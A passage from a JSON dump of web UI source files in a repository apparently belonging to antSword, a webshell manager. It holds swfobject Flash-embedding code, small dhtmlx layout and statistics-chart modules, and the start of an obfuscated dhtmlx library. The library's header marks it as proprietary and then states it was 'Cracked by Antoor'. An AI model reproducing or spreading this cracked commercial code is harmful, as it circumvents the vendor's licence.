= h.appendChild(s);\n\t\t\tif (ua.ie && ua.win && typeof doc.styleSheets != UNDEF && doc.styleSheets.length > 0) {\n\t\t\t\tdynamicStylesheet = doc.styleSheets[doc.styleSheets.length - 1];\n\t\t\t}\n\t\t\tdynamicStylesheetMedia = m;\n\t\t}\n\t\t// add style rule\n\t\tif (ua.ie && ua.win) {\n\t\t\tif (dynamicStylesheet && typeof dynamicStylesheet.addRule == OBJECT) {\n\t\t\t\tdynamicStylesheet.addRule(sel, decl);\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tif (dynamicStylesheet && typeof doc.createTextNode != UNDEF) {\n\t\t\t\tdynamicStylesheet.appendChild(doc.createTextNode(sel + \" {\" + decl + \"}\"));\n\t\t\t}\n\t\t}\n\t}\n\t\n\tfunction setVisibility(id, isVisible) {\n\t\tif (!autoHideShow) { return; }\n\t\tvar v = isVisible ? \"visible\" : \"hidden\";\n\t\tif (isDomLoaded && getElementById(id)) {\n\t\t\tgetElementById(id).style.visibility = v;\n\t\t}\n\t\telse {\n\t\t\tcreateCSS(\"#\" + id, \"visibility:\" + v);\n\t\t}\n\t}\n\n\t/* Filter to avoid XSS attacks\n\t*/\n\tfunction urlEncodeIfNecessary(s) {\n\t\tvar regex = /[\\\\\\\"<>\\.;]/;\n\t\tvar hasBadChars = regex.exec(s) != null;\n\t\treturn hasBadChars && typeof encodeURIComponent != UNDEF ? encodeURIComponent(s) : s;\n\t}\n\t\n\t/* Release memory to avoid memory leaks caused by closures, fix hanging audio/video threads and force open sockets/NetConnections to disconnect (Internet Explorer only)\n\t*/\n\tvar cleanup = function() {\n\t\tif (ua.ie && ua.win) {\n\t\t\twindow.attachEvent(\"onunload\", function() {\n\t\t\t\t// remove listeners to avoid memory leaks\n\t\t\t\tvar ll = listenersArr.length;\n\t\t\t\tfor (var i = 0; i < ll; i++) {\n\t\t\t\t\tlistenersArr[i][0].detachEvent(listenersArr[i][1], listenersArr[i][2]);\n\t\t\t\t}\n\t\t\t\t// cleanup dynamically embedded objects to fix audio/video threads and force open sockets and NetConnections to disconnect\n\t\t\t\tvar il = objIdArr.length;\n\t\t\t\tfor (var j = 0; j < il; j++) {\n\t\t\t\t\tremoveSWF(objIdArr[j]);\n\t\t\t\t}\n\t\t\t\t// cleanup library's main closures to avoid memory leaks\n\t\t\t\tfor (var k in ua) {\n\t\t\t\t\tua[k] = null;\n\t\t\t\t}\n\t\t\t\tua = null;\n\t\t\t\tfor (var l in swfobject) {\n\t\t\t\t\tswfobject[l] = null;\n\t\t\t\t}\n\t\t\t\tswfobject = null;\n\t\t\t});\n\t\t}\n\t}();\n\t\n\treturn {\n\t\t/* Public API\n\t\t\t- Reference: http://code.google.com/p/swfobject/wiki/documentation\n\t\t*/ \n\t\tregisterObject: function(objectIdStr, swfVersionStr, xiSwfUrlStr, callbackFn) {\n\t\t\tif (ua.w3 && objectIdStr && swfVersionStr) {\n\t\t\t\tvar regObj = {};\n\t\t\t\tregObj.id = objectIdStr;\n\t\t\t\tregObj.swfVersion = swfVersionStr;\n\t\t\t\tregObj.expressInstall = xiSwfUrlStr;\n\t\t\t\tregObj.callbackFn = callbackFn;\n\t\t\t\tregObjArr[regObjArr.length] = regObj;\n\t\t\t\tsetVisibility(objectIdStr, false);\n\t\t\t}\n\t\t\telse if (callbackFn) {\n\t\t\t\tcallbackFn({success:false, id:objectIdStr});\n\t\t\t}\n\t\t},\n\t\t\n\t\tgetObjectById: function(objectIdStr) {\n\t\t\tif (ua.w3) {\n\t\t\t\treturn getObjectById(objectIdStr);\n\t\t\t}\n\t\t},\n\t\t\n\t\tembedSWF: function(swfUrlStr, replaceElemIdStr, widthStr, heightStr, swfVersionStr, xiSwfUrlStr, flashvarsObj, parObj, attObj, callbackFn) {\n\t\t\tvar callbackObj = {success:false, id:replaceElemIdStr};\n\t\t\tif (ua.w3 && !(ua.wk && ua.wk < 312) && swfUrlStr && replaceElemIdStr && widthStr && heightStr && swfVersionStr) {\n\t\t\t\tsetVisibility(replaceElemIdStr, false);\n\t\t\t\taddDomLoadEvent(function() {\n\t\t\t\t\twidthStr += \"\"; // auto-convert to string\n\t\t\t\t\theightStr += \"\";\n\t\t\t\t\tvar att = {};\n\t\t\t\t\tif (attObj && typeof attObj === OBJECT) {\n\t\t\t\t\t\tfor (var i in attObj) { // copy object to avoid the use of references, because web authors often reuse attObj for multiple SWFs\n\t\t\t\t\t\t\tatt[i] = attObj[i];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tatt.data = swfUrlStr;\n\t\t\t\t\tatt.width = widthStr;\n\t\t\t\t\tatt.height = heightStr;\n\t\t\t\t\tvar par = {}; \n\t\t\t\t\tif (parObj && typeof parObj === OBJECT) {\n\t\t\t\t\t\tfor (var j in parObj) { // copy object to avoid the use of references, because web authors often reuse parObj for multiple SWFs\n\t\t\t\t\t\t\tpar[j] = parObj[j];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif (flashvarsObj && typeof flashvarsObj === OBJECT) {\n\t\t\t\t\t\tfor (var k in flashvarsObj) { // copy object to avoid the use of references, because web authors often reuse flashvarsObj for multiple SWFs\n\t\t\t\t\t\t\tif (typeof par.flashvars != UNDEF) {\n\t\t\t\t\t\t\t\tpar.flashvars += \"&\" + k + \"=\" + flashvarsObj[k];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\tpar.flashvars = k + \"=\" + flashvarsObj[k];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif (hasPlayerVersion(swfVersionStr)) { // create SWF\n\t\t\t\t\t\tvar obj = createSWF(att, par, replaceElemIdStr);\n\t\t\t\t\t\tif (att.id == replaceElemIdStr) {\n\t\t\t\t\t\t\tsetVisibility(replaceElemIdStr, true);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcallbackObj.success = true;\n\t\t\t\t\t\tcallbackObj.ref = obj;\n\t\t\t\t\t}\n\t\t\t\t\telse if (xiSwfUrlStr && canExpressInstall()) { // show Adobe Express Install\n\t\t\t\t\t\tatt.data = xiSwfUrlStr;\n\t\t\t\t\t\tshowExpressInstall(att, par, replaceElemIdStr, callbackFn);\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t\telse { // show alternative content\n\t\t\t\t\t\tsetVisibility(replaceElemIdStr, true);\n\t\t\t\t\t}\n\t\t\t\t\tif (callbackFn) { callbackFn(callbackObj); }\n\t\t\t\t});\n\t\t\t}\n\t\t\telse if (callbackFn) { callbackFn(callbackObj);\t}\n\t\t},\n\t\t\n\t\tswitchOffAutoHideShow: function() {\n\t\t\tautoHideShow = false;\n\t\t},\n\t\t\n\t\tua: ua,\n\t\t\n\t\tgetFlashPlayerVersion: function() {\n\t\t\treturn { major:ua.pv[0], minor:ua.pv[1], release:ua.pv[2] };\n\t\t},\n\t\t\n\t\thasFlashPlayerVersion: hasPlayerVersion,\n\t\t\n\t\tcreateSWF: function(attObj, parObj, replaceElemIdStr) {\n\t\t\tif (ua.w3) {\n\t\t\t\treturn createSWF(attObj, parObj, replaceElemIdStr);\n\t\t\t}\n\t\t\telse {\n\t\t\t\treturn undefined;\n\t\t\t}\n\t\t},\n\t\t\n\t\tshowExpressInstall: function(att, par, replaceElemIdStr, callbackFn) {\n\t\t\tif (ua.w3 && canExpressInstall()) {\n\t\t\t\tshowExpressInstall(att, par, replaceElemIdStr, callbackFn);\n\t\t\t}\n\t\t},\n\t\t\n\t\tremoveSWF: function(objElemIdStr) {\n\t\t\tif (ua.w3) {\n\t\t\t\tremoveSWF(objElemIdStr);\n\t\t\t}\n\t\t},\n\t\t\n\t\tcreateCSS: function(selStr, declStr, mediaStr, newStyleBoolean) {\n\t\t\tif (ua.w3) {\n\t\t\t\tcreateCSS(selStr, declStr, mediaStr, newStyleBoolean);\n\t\t\t}\n\t\t},\n\t\t\n\t\taddDomLoadEvent: addDomLoadEvent,\n\t\t\n\t\taddLoadEvent: addLoadEvent,\n\t\t\n\t\tgetQueryParamValue: function(param) {\n\t\t\tvar q = doc.location.search || doc.location.hash;\n\t\t\tif (q) {\n\t\t\t\tif (/\\?/.test(q)) { q = q.split(\"?\")[1]; } // strip question mark\n\t\t\t\tif (param == null) {\n\t\t\t\t\treturn urlEncodeIfNecessary(q);\n\t\t\t\t}\n\t\t\t\tvar pairs = q.split(\"&\");\n\t\t\t\tfor (var i = 0; i < pairs.length; i++) {\n\t\t\t\t\tif (pairs[i].substring(0, pairs[i].indexOf(\"=\")) == param) {\n\t\t\t\t\t\treturn urlEncodeIfNecessary(pairs[i].substring((pairs[i].indexOf(\"=\") + 1)));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn \"\";\n\t\t},\n\t\t\n\t\t// For internal usage only\n\t\texpressInstallCallback: function() {\n\t\t\tif (isExpressInstallActive) {\n\t\t\t\tvar obj = getElementById(EXPRESS_INSTALL_ID);\n\t\t\t\tif (obj && storedAltContent) {\n\t\t\t\t\tobj.parentNode.replaceChild(storedAltContent, obj);\n\t\t\t\t\tif (storedAltContentId) {\n\t\t\t\t\t\tsetVisibility(storedAltContentId, true);\n\t\t\t\t\t\tif (ua.ie && ua.win) { storedAltContent.style.display = \"block\"; }\n\t\t\t\t\t}\n\t\t\t\t\tif (storedCallbackFn) { storedCallbackFn(storedCallbackObj); }\n\t\t\t\t}\n\t\t\t\tisExpressInstallActive = false;\n\t\t\t} \n\t\t}\n\t};\n}();\n"
  },
  {
    "path": "antSword/static/libs/dhtmlx/codebase/imgs/dhxgrid_skyblue/tree/Control panel_files/category(1).js",
    "content": "// \n// 项目列表\n// \ndefine({\n    init: function (layout) {\n        var cell_4 = layout.cells('a');\n        cell_4.setText('项目列表');\n        cell_4.setWidth('250');\n    }\n})"
  },
  {
    "path": "antSword/static/libs/dhtmlx/codebase/imgs/dhxgrid_skyblue/tree/Control panel_files/category.js",
    "content": "// \n// 分类目录\n// \n\ndefine({\n    init: function(layout) {\n        var cell_host_category = layout.cells('b');\n        cell_host_category.setText('<i class=\"fa fa-list\"></i> 分类目录');\n        cell_host_category.setHeight('350')\n        cell_host_category.setWidth('250');\n        var tree_4 = cell_host_category.attachTree();\n            tree_4.setImagePath(dhtmlx.image_path + 'dhxtree_skyblue/');\n            tree_4.load('./data/tree.json', 'json');\n    }\n});"
  },
  {
    "path": "antSword/static/libs/dhtmlx/codebase/imgs/dhxgrid_skyblue/tree/Control panel_files/countdata.js",
    "content": "// \n// 统计数据\n// \n\ndefine({\n    getPath: function(p) {\n        return './static/js/host/data/' + p;\n    },\n    init: function(layout) {\n        var cell_host_data = layout.cells('c');\n        cell_host_data.setHeight('350');\n        cell_host_data.setText('<i class=\"fa fa-pie-chart\"></i> 统计数据');\n        cell_host_data.setWidth('650');\n\n\n\n        var tabbar_countdata = cell_host_data.attachTabbar();\n        tabbar_countdata.addTab('tab_countdata_devices','设备统计');\n        var tab_countdata_devices = tabbar_countdata.cells('tab_countdata_devices');\n        tab_countdata_devices.setActive();\n\n        var chart_devices = tab_countdata_devices.attachChart({\n            view: 'pie' ,\n            tooltip:{\n                template:'#count#'\n            },\n            legend:{\"template\":\"#os#\",\"marker\":{\"type\":\"square\",\"width\":25,\"height\":15}},\n            gradient: false,\n            value:'#count#'\n        });\n\n        chart_devices.load(this.getPath('countdata_device.xml'), 'xml');\n\n        // \n        tabbar_countdata.addTab('tab_countdata_browser','浏览器统计');\n        var tab_countdata_browser = tabbar_countdata.cells('tab_countdata_browser');\n\n        var chart_browser = tab_countdata_browser.attachChart({\n            view: 'pie' ,\n            tooltip:{\n                template:'#count#'\n            },\n            legend:{\"template\":\"#browser#\",\"marker\":{\"type\":\"square\",\"width\":25,\"height\":15}},\n            gradient: false,\n            value:'#count#'\n        });\n\n        chart_browser.load(this.getPath('countdata_browser.xml'), 'xml');\n\n        // \n\n        tabbar_countdata.addTab('tab_countdata_addr','地区统计');\n        var tab_countdata_addr = tabbar_countdata.cells('tab_countdata_addr');\n        var chart_addr = tab_countdata_addr.attachChart({\n            view: 'pie' ,\n            tooltip:{\n                template:'#count#'\n            },\n            legend:{\"template\":\"#addr#\",\"marker\":{\"type\":\"square\",\"width\":25,\"height\":15}},\n            gradient: false,\n            value:'#count#'\n        });\n\n        chart_addr.load(this.getPath('countdata_addr.xml'), 'xml');\n        // // 数据图标\n        // var chart_1 = cell_host_data.attachChart({\n        //     view: 'pie' ,\n        //     tooltip:{\n        //         template:'#count#'\n        //     },\n        //     legend:{\"template\":\"#os#\",\"marker\":{\"type\":\"square\",\"width\":25,\"height\":15}},\n        //     gradient: false,\n        //     value:'#count#'\n        // });\n\n        // chart_1.load('./data/chart.xml', 'xml');\n\n        // end\n    }\n});"
  },
  {
    "path": "antSword/static/libs/dhtmlx/codebase/imgs/dhxgrid_skyblue/tree/Control panel_files/dhtmlx_pro.js",
    "content": "/*\n===================================================================\nCopyright UAB Dinamenta. http://www.dhtmlx.com\nThis code is obfuscated and not allowed for any purposes except \nusing on sites which belongs to UAB Dinamenta.\n\nPlease contact sales@dhtmlx.com to obtain necessary \nlicense for usage of dhtmlx components.\n[*] Cracked by Antoor<http://weibo.com/antoor> :)\n===================================================================\n*/\n\nif(typeof(window.dhx4)==\"undefined\"){window.dhx4={version:\"4.4\",skin:null,skinDetect:function(a){return{10:\"dhx_skyblue\",20:\"dhx_web\",30:\"dhx_terrace\"}[this.readFromCss(a+\"_skin_detect\")]||null},readFromCss:function(e,g){var c=document.createElement(\"DIV\");c.className=e;if(document.body.firstChild!=null){document.body.insertBefore(c,document.body.firstChild)}else{document.body.appendChild(c)}var a=c[g||\"offsetWidth\"];c.parentNode.removeChild(c);c=null;return a},lastId:1,newId:function(){return this.lastId++},zim:{data:{},step:5,first:function(){return 100},last:function(){var e=this.first();for(var c in this.data){e=Math.max(e,this.data[c])}return e},reserve:function(a){this.data[a]=this.last()+this.step;return this.data[a]},clear:function(a){if(this.data[a]!=null){this.data[a]=null;delete this.data[a]}}},s2b:function(a){if(typeof(a)==\"string\"){a=a.toLowerCase()}return(a==true||a==1||a==\"true\"||a==\"1\"||a==\"yes\"||a==\"y\"||a==\"on\")},s2j:function(s){var obj=null;dhx4.temp=null;try{eval(\"dhx4.temp=\"+s)}catch(e){dhx4.temp=null}obj=dhx4.temp;dhx4.temp=null;return obj},absLeft:function(a){if(typeof(a)==\"string\"){a=document.getElementById(a)}return this.getOffset(a).left},absTop:function(a){if(typeof(a)==\"string\"){a=document.getElementById(a)}return this.getOffset(a).top},_aOfs:function(a){var e=0,c=0;while(a){e=e+parseInt(a.offsetTop);c=c+parseInt(a.offsetLeft);a=a.offsetParent}return{top:e,left:c}},_aOfsRect:function(g){var m=g.getBoundingClientRect();var n=document.body;var c=document.documentElement;var a=window.pageYOffset||c.scrollTop||n.scrollTop;var h=window.pageXOffset||c.scrollLeft||n.scrollLeft;var l=c.clientTop||n.clientTop||0;var o=c.clientLeft||n.clientLeft||0;var q=m.top+a-l;var e=m.left+h-o;return{top:Math.round(q),left:Math.round(e)}},getOffset:function(a){if(a.getBoundingClientRect){return this._aOfsRect(a)}else{return this._aOfs(a)}},_isObj:function(a){return(a!=null&&typeof(a)==\"object\"&&typeof(a.length)==\"undefined\")},_copyObj:function(g){if(this._isObj(g)){var e={};for(var c in g){if(typeof(g[c])==\"object\"&&g[c]!=null){e[c]=this._copyObj(g[c])}else{e[c]=g[c]}}}else{var e=[];for(var c=0;c<g.length;c++){if(typeof(g[c])==\"object\"&&g[c]!=null){e[c]=this._copyObj(g[c])}else{e[c]=g[c]}}}return e},screenDim:function(){var a=(navigator.userAgent.indexOf(\"MSIE\")>=0);var c={};c.left=document.body.scrollLeft;c.right=c.left+(window.innerWidth||document.body.clientWidth);c.top=Math.max((a?document.documentElement:document.getElementsByTagName(\"html\")[0]).scrollTop,document.body.scrollTop);c.bottom=c.top+(a?Math.max(document.documentElement.clientHeight||0,document.documentElement.offsetHeight||0):window.innerHeight);return c},selectTextRange:function(h,m,c){h=(typeof(h)==\"string\"?document.getElementById(h):h);var a=h.value.length;m=Math.max(Math.min(m,a),0);c=Math.min(c,a);if(h.setSelectionRange){try{h.setSelectionRange(m,c)}catch(l){}}else{if(h.createTextRange){var g=h.createTextRange();g.moveStart(\"character\",m);g.moveEnd(\"character\",c-a);try{g.select()}catch(l){}}}},transData:null,transDetect:function(){if(this.transData==null){this.transData={transProp:false,transEv:null};var e={MozTransition:\"transitionend\",WebkitTransition:\"webkitTransitionEnd\",OTransition:\"oTransitionEnd\",msTransition:\"transitionend\",transition:\"transitionend\"};for(var c in e){if(this.transData.transProp==false&&document.documentElement.style[c]!=null){this.transData.transProp=c;this.transData.transEv=e[c]}}e=null}return this.transData},_xmlNodeValue:function(a){var e=\"\";for(var c=0;c<a.childNodes.length;c++){e+=(a.childNodes[c].nodeValue!=null?a.childNodes[c].nodeValue.toString().replace(/^[\\n\\r\\s]{0,}/,\"\").replace(/[\\n\\r\\s]{0,}$/,\"\"):\"\")}return e}};window.dhx4.isIE=(navigator.userAgent.indexOf(\"MSIE\")>=0||navigator.userAgent.indexOf(\"Trident\")>=0);window.dhx4.isIE6=(window.XMLHttpRequest==null&&navigator.userAgent.indexOf(\"MSIE\")>=0);window.dhx4.isIE7=(navigator.userAgent.indexOf(\"MSIE 7.0\")>=0&&navigator.userAgent.indexOf(\"Trident\")<0);window.dhx4.isIE8=(navigator.userAgent.indexOf(\"MSIE 8.0\")>=0&&navigator.userAgent.indexOf(\"Trident\")>=0);window.dhx4.isIE9=(navigator.userAgent.indexOf(\"MSIE 9.0\")>=0&&navigator.userAgent.indexOf(\"Trident\")>=0);window.dhx4.isIE10=(navigator.userAgent.indexOf(\"MSIE 10.0\")>=0&&navigator.userAgent.indexOf(\"Trident\")>=0&&window.navigator.pointerEnabled!=true);window.dhx4.isIE11=(navigator.userAgent.indexOf(\"Trident\")>=0&&window.navigator.pointerEnabled==true);window.dhx4.isEdge=(navigator.userAgent.indexOf(\"Edge\")>=0);window.dhx4.isOpera=(navigator.userAgent.indexOf(\"Opera\")>=0);window.dhx4.isChrome=(navigator.userAgent.indexOf(\"Chrome\")>=0)&&!window.dhx4.isEdge;window.dhx4.isKHTML=(navigator.userAgent.indexOf(\"Safari\")>=0||navigator.userAgent.indexOf(\"Konqueror\")>=0)&&!window.dhx4.isEdge;window.dhx4.isFF=(navigator.userAgent.indexOf(\"Firefox\")>=0);window.dhx4.isIPad=(navigator.userAgent.search(/iPad/gi)>=0);window.dhx4.dnd={evs:{},p_en:((window.dhx4.isIE||window.dhx4.isEdge)&&(window.navigator.pointerEnabled||window.navigator.msPointerEnabled)),_mTouch:function(a){return(window.dhx4.isIE10&&a.pointerType==a.MSPOINTER_TYPE_MOUSE||window.dhx4.isIE11&&a.pointerType==\"mouse\"||window.dhx4.isEdge&&a.pointerType==\"mouse\")},_touchOn:function(a){if(a==null){a=document.body}a.style.touchAction=a.style.msTouchAction=\"\";a=null},_touchOff:function(a){if(a==null){a=document.body}a.style.touchAction=a.style.msTouchAction=\"none\";a=null}};if(window.navigator.pointerEnabled==true){window.dhx4.dnd.evs={start:\"pointerdown\",move:\"pointermove\",end:\"pointerup\"}}else{if(window.navigator.msPointerEnabled==true){window.dhx4.dnd.evs={start:\"MSPointerDown\",move:\"MSPointerMove\",end:\"MSPointerUp\"}}else{if(typeof(window.addEventListener)!=\"undefined\"){window.dhx4.dnd.evs={start:\"touchstart\",move:\"touchmove\",end:\"touchend\"}}}}}if(typeof(window.dhx4.template)==\"undefined\"){window.dhx4.trim=function(a){return String(a).replace(/^\\s{1,}/,\"\").replace(/\\s{1,}$/,\"\")};window.dhx4.template=function(c,e,a){return c.replace(/#([a-z0-9_-]{1,})(\\|([^#]*))?#/gi,function(){var m=arguments[1];var l=window.dhx4.trim(arguments[3]);var n=null;var h=[e[m]];if(l.length>0){l=l.split(\":\");var g=[];for(var o=0;o<l.length;o++){if(o>0&&g[g.length-1].match(/\\\\$/)!=null){g[g.length-1]=g[g.length-1].replace(/\\\\$/,\"\")+\":\"+l[o]}else{g.push(l[o])}}n=g[0];for(var o=1;o<g.length;o++){h.push(g[o])}}if(typeof(n)==\"string\"&&typeof(window.dhx4.template[n])==\"function\"){return window.dhx4.template[n].apply(window.dhx4.template,h)}if(m.length>0&&typeof(e[m])!=\"undefined\"){if(a==true){return window.dhx4.trim(e[m])}return String(e[m])}return\"\"})};window.dhx4.template.date=function(a,c){if(a!=null){if(a instanceof Date){return window.dhx4.date2str(a,c)}else{a=a.toString();if(a.match(/^\\d*$/)!=null){return window.dhx4.date2str(new Date(parseInt(a)),c)}return a}}return\"\"};window.dhx4.template.maxlength=function(c,a){return String(c).substr(0,a)};window.dhx4.template.number_format=function(g,h,e,a){var c=window.dhx4.template._parseFmt(h,e,a);if(c==false){return g}return window.dhx4.template._getFmtValue(g,c)};window.dhx4.template.lowercase=function(a){if(typeof(a)==\"undefined\"||a==null){a=\"\"}return String(a).toLowerCase()};window.dhx4.template.uppercase=function(a){if(typeof(a)==\"undefined\"||a==null){a=\"\"}return String(a).toUpperCase()};window.dhx4.template._parseFmt=function(m,e,a){var g=m.match(/^([^\\.\\,0-9]*)([0\\.\\,]*)([^\\.\\,0-9]*)/);if(g==null||g.length!=4){return false}var c={i_len:false,i_sep:(typeof(e)==\"string\"?e:\",\"),d_len:false,d_sep:(typeof(a)==\"string\"?a:\".\"),s_bef:(typeof(g[1])==\"string\"?g[1]:\"\"),s_aft:(typeof(g[3])==\"string\"?g[3]:\"\")};var l=g[2].split(\".\");if(l[1]!=null){c.d_len=l[1].length}var h=l[0].split(\",\");if(h.length>1){c.i_len=h[h.length-1].length}return c};window.dhx4.template._getFmtValue=function(value,fmt){var r=String(value).match(/^(-)?([0-9]{1,})(\\.([0-9]{1,}))?$/);if(r!=null&&r.length==5){var v0=\"\";if(r[1]!=null){v0+=r[1]}v0+=fmt.s_bef;if(fmt.i_len!==false){var i=0;var v1=\"\";for(var q=r[2].length-1;q>=0;q--){v1=\"\"+r[2].charAt(q)+v1;if(++i==fmt.i_len&&q>0){v1=fmt.i_sep+v1;i=0}}v0+=v1}else{v0+=r[2]}if(fmt.d_len!==false){if(r[4]==null){r[4]=\"\"}while(r[4].length<fmt.d_len){r[4]+=\"0\"}eval(\"dhx4.temp = new RegExp(/\\\\d{\"+fmt.d_len+\"}/);\");var t1=(r[4]).match(dhx4.temp);if(t1!=null){v0+=fmt.d_sep+t1}dhx4.temp=t1=null}v0+=fmt.s_aft;return v0}return value}}if(typeof(window.dhx4.dateLang)==\"undefined\"){window.dhx4.dateLang=\"en\";window.dhx4.dateStrings={en:{monthFullName:[\"January\",\"February\",\"March\",\"April\",\"May\",\"June\",\"July\",\"August\",\"September\",\"October\",\"November\",\"December\"],monthShortName:[\"Jan\",\"Feb\",\"Mar\",\"Apr\",\"May\",\"Jun\",\"Jul\",\"Aug\",\"Sep\",\"Oct\",\"Nov\",\"Dec\"],dayFullName:[\"Sunday\",\"Monday\",\"Tuesday\",\"Wednesday\",\"Thursday\",\"Friday\",\"Saturday\"],dayShortName:[\"Su\",\"Mo\",\"Tu\",\"We\",\"Th\",\"Fr\",\"Sa\"]}};window.dhx4.dateFormat={en:\"%Y-%m-%d\"};window.dhx4.date2str=function(l,g,a){if(g==null||typeof(g)==\"undefnied\"){g=window.dhx4.dateFormat[window.dhx4.dateLang]}if(a==null||typeof(a)==\"undefnied\"){a=window.dhx4.dateStrings[window.dhx4.dateLang]}if(l instanceof Date){var h=function(m){return(String(m).length==1?\"0\"+String(m):m)};var c=function(o){switch(o){case\"%d\":return h(l.getDate());case\"%j\":return l.getDate();case\"%D\":return a.dayShortName[l.getDay()];case\"%l\":return a.dayFullName[l.getDay()];case\"%m\":return h(l.getMonth()+1);case\"%n\":return l.getMonth()+1;case\"%M\":return a.monthShortName[l.getMonth()];case\"%F\":return a.monthFullName[l.getMonth()];case\"%y\":return h(l.getYear()%100);case\"%Y\":return l.getFullYear();case\"%g\":return(l.getHours()+11)%12+1;case\"%h\":return h((l.getHours()+11)%12+1);case\"%G\":return l.getHours();case\"%H\":return h(l.getHours());case\"%i\":return h(l.getMinutes());case\"%s\":return h(l.getSeconds());case\"%a\":return(l.getHours()>11?\"pm\":\"am\");case\"%A\":return(l.getHours()>11?\"PM\":\"AM\");case\"%%\":return\"%\";case\"%u\":return l.getMilliseconds();case\"%P\":if(window.dhx4.temp_calendar!=null&&window.dhx4.temp_calendar.tz!=null){return window.dhx4.temp_calendar.tz}var r=l.getTimezoneOffset();var q=Math.abs(Math.floor(r/60));var n=Math.abs(r)-q*60;return(r>0?\"-\":\"+\")+h(q)+\":\"+h(n);default:return o}};var e=String(g||window.dhx4.dateFormat).replace(/%[a-zA-Z]/g,c)}return(e||String(l))};window.dhx4.str2date=function(l,A,E){if(A==null||typeof(A)==\"undefnied\"){A=window.dhx4.dateFormat[window.dhx4.dateLang]}if(E==null||typeof(E)==\"undefnied\"){E=window.dhx4.dateStrings[window.dhx4.dateLang]}A=A.replace(/[\\-\\[\\]\\/\\{\\}\\(\\)\\*\\+\\?\\.\\\\\\^\\$\\\\:|]/g,\"\\\\$&\");var D=[];var o=[];A=A.replace(/%[a-z]/gi,function(e){switch(e){case\"%d\":case\"%m\":case\"%y\":case\"%h\":case\"%H\":case\"%i\":case\"%s\":o.push(e);return\"(\\\\d{2})\";case\"%D\":case\"%l\":case\"%M\":case\"%F\":o.push(e);return\"([a-zéûä\\u0430-\\u044F\\u0451]{1,})\";case\"%j\":case\"%n\":case\"%g\":case\"%G\":o.push(e);return\"(\\\\d{1,2})\";case\"%Y\":o.push(e);return\"(\\\\d{4})\";case\"%a\":o.push(e);return\"([a|p]m)\";case\"%A\":o.push(e);return\"([A|P]M)\";case\"%u\":o.push(e);return\"(\\\\d{1,6})\";case\"%P\":o.push(e);return\"([+-]\\\\d{1,2}:\\\\d{1,2})\"}return e});var F=new RegExp(A,\"i\");var s=l.match(F);if(s==null||s.length-1!=o.length){return\"Invalid Date\"}for(var c=1;c<s.length;c++){D.push(s[c])}var g={\"%y\":1,\"%Y\":1,\"%n\":2,\"%m\":2,\"%M\":2,\"%F\":2,\"%d\":3,\"%j\":3,\"%a\":4,\"%A\":4,\"%H\":5,\"%G\":5,\"%h\":5,\"%g\":5,\"%i\":6,\"%s\":7,\"%u\":7,\"%P\":7};var u={};var n={};for(var c=0;c<o.length;c++){if(typeof(g[o[c]])!=\"undefined\"){var h=g[o[c]];if(!u[h]){u[h]=[];n[h]=[]}u[h].push(D[c]);n[h].push(o[c])}}D=[];o=[];for(var c=1;c<=7;c++){if(u[c]!=null){for(var y=0;y<u[c].length;y++){D.push(u[c][y]);o.push(n[c][y])}}}var a=new Date();a.setDate(1);a.setHours(0);a.setMinutes(0);a.setSeconds(0);a.setMilliseconds(0);var x=function(v,e){for(var r=0;r<e.length;r++){if(e[r].toLowerCase()==v){return r}}return -1};for(var c=0;c<D.length;c++){switch(o[c]){case\"%d\":case\"%j\":case\"%n\":case\"%m\":case\"%Y\":case\"%H\":case\"%G\":case\"%i\":case\"%s\":case\"%u\":if(!isNaN(D[c])){a[{\"%d\":\"setDate\",\"%j\":\"setDate\",\"%n\":\"setMonth\",\"%m\":\"setMonth\",\"%Y\":\"setFullYear\",\"%H\":\"setHours\",\"%G\":\"setHours\",\"%i\":\"setMinutes\",\"%s\":\"setSeconds\",\"%u\":\"setMilliseconds\"}[o[c]]](Number(D[c])+(o[c]==\"%m\"||o[c]==\"%n\"?-1:0))}break;case\"%M\":case\"%F\":var m=x(D[c].toLowerCase(),E[{\"%M\":\"monthShortName\",\"%F\":\"monthFullName\"}[o[c]]]);if(m>=0){a.setMonth(m)}break;case\"%y\":if(!isNaN(D[c])){var C=Number(D[c]);a.setFullYear(C+(C>50?1900:2000))}break;case\"%g\":case\"%h\":if(!isNaN(D[c])){var C=Number(D[c]);if(C<=12&&C>=0){a.setHours(C+(x(\"pm\",D)>=0?(C==12?0:12):(C==12?-12:0)))}}break;case\"%P\":if(window.dhx4.temp_calendar!=null){window.dhx4.temp_calendar.tz=D[c]}break}}return a}}if(typeof(window.dhx4.ajax)==\"undefined\"){window.dhx4.ajax={cache:false,method:\"get\",parse:function(a){if(typeof a!==\"string\"){return a}a=a.replace(/^[\\s]+/,\"\");if(window.DOMParser&&!dhx4.isIE){var c=(new window.DOMParser()).parseFromString(a,\"text/xml\")}else{if(window.ActiveXObject!==window.undefined){var c=new window.ActiveXObject(\"Microsoft.XMLDOM\");c.async=\"false\";c.loadXML(a)}}return c},xmltop:function(a,h,g){if(typeof h.status==\"undefined\"||h.status<400){xml=(!h.responseXML)?dhx4.ajax.parse(h.responseText||h):(h.responseXML||h);if(xml&&xml.documentElement!==null){try{if(!xml.getElementsByTagName(\"parsererror\").length){return xml.getElementsByTagName(a)[0]}}catch(c){}}}if(g!==-1){dhx4.callEvent(\"onLoadXMLError\",[\"Incorrect XML\",arguments[1],g])}return document.createElement(\"DIV\")},xpath:function(g,a){if(!a.nodeName){a=a.responseXML||a}if(dhx4.isIE){try{return a.selectNodes(g)||[]}catch(l){return[]}}else{var h=[];var m;var c=(a.ownerDocument||a).evaluate(g,a,null,XPathResult.ANY_TYPE,null);while(m=c.iterateNext()){h.push(m)}return h}},query:function(a){dhx4.ajax._call((a.method||\"GET\"),a.url,a.data||\"\",(a.async||true),a.callback,null,a.headers)},get:function(a,c){return this._call(\"GET\",a,null,true,c)},getSync:function(a){return this._call(\"GET\",a,null,false)},put:function(c,a,e){return this._call(\"PUT\",c,a,true,e)},del:function(c,a,e){return 